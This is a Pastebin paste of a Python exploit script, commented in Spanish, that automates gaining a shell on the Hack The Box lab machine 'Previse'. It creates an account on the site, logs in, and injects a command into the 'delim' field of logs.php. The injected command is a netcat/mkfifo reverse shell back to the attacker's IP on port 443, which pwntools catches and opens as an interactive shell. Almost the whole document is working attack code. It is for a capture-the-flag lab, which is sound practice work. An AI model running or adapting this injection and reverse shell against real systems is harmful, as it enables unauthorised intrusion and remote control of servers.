tukutu

shell_previse.py

Aug 9th, 2021
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.09 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. #Script que automatiza el proceso de acceso a la maquina Previse de HTB
  4. #Teneis que agregar al /etc/hosts la ip de la maquina y el dominio (previse.htb)
  5. #Por ultimo cambiar la IP de Variables globales a vuestra ip de tun0
  6.  
  7. from pwn import *
  8. import sys
  9. import requests
  10. import time
  11. import pdb
  12. import threading
  13.  
  14. signal.signal(signal.SIGINT, signal.SIG_DFL)
  15.  
  16. #Variables globales
  17. IP = "10.10.14.141" #Cambiar IP
  18. lport = 443
  19. create_account_url = "http://previse.htb/accounts.php"
  20. login_url = "http://previse.htb/login.php"
  21. log_url = "http://previse.htb/logs.php"
  22.  
  23.  
  24. #Funciones
  25. def obtainShell():
  26.  
  27.     try:
  28.         s = requests.Session()
  29.         create_user = {
  30.             'username' : 'pwned',
  31.             'password' : 'pwned123',
  32.             'confirm' : 'pwned123'
  33.         }
  34.         r = s.post(create_account_url, data=create_user)
  35.         p1 = log.progress("CREANDO USUARIO")
  36.         p1.status("\n[*]Usuario creado en la web: pwned:pwned123\n")
  37.         time.sleep(2)
  38.         login_data = {
  39.             'username' : 'pwned',
  40.             'password' : 'pwned123'
  41.         }
  42.         r = s.post(login_url, data=login_data)
  43.         p2 = log.progress("\n[*]Enviando Payload")
  44.         log_data = {
  45.             'delim' : ';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s 443 >/tmp/f' %IP  
  46.         }
  47.         time.sleep(2)
  48.         r = s.post(log_url, data=log_data, timeout=1)
  49.  
  50.  
  51.     except requests.exceptions.ReadTimeout:
  52.         p2.success("Payload enviado con exito")
  53.         sys.exit(1)
  54.        
  55.  
  56.     except Exception as e:
  57.         print(e)
  58.  
  59.  
  60. if __name__ == '__main__':
  61.     try:
  62.         threading.Thread(target=obtainShell).start()
  63.     except Exception as e:
  64.         log.error(str(e))
  65.    
  66.     shell = listen(lport, timeout=20).wait_for_connection()
  67.    
  68.     if shell.sock is None:
  69.         log.failure("No se ha obtenido ninguna conexion")
  70.         sys.exit()
  71.     else:
  72.         log.success("Se ha obtenido conexion con el sistema")
  73.         time.sleep(1)
  74.         log.info("Acceso como www-data")
  75.         time.sleep(1)
  76.  
  77.  
  78.     shell.interactive()
  79.  
Advertisement
Add Comment
Please, Sign In to add comment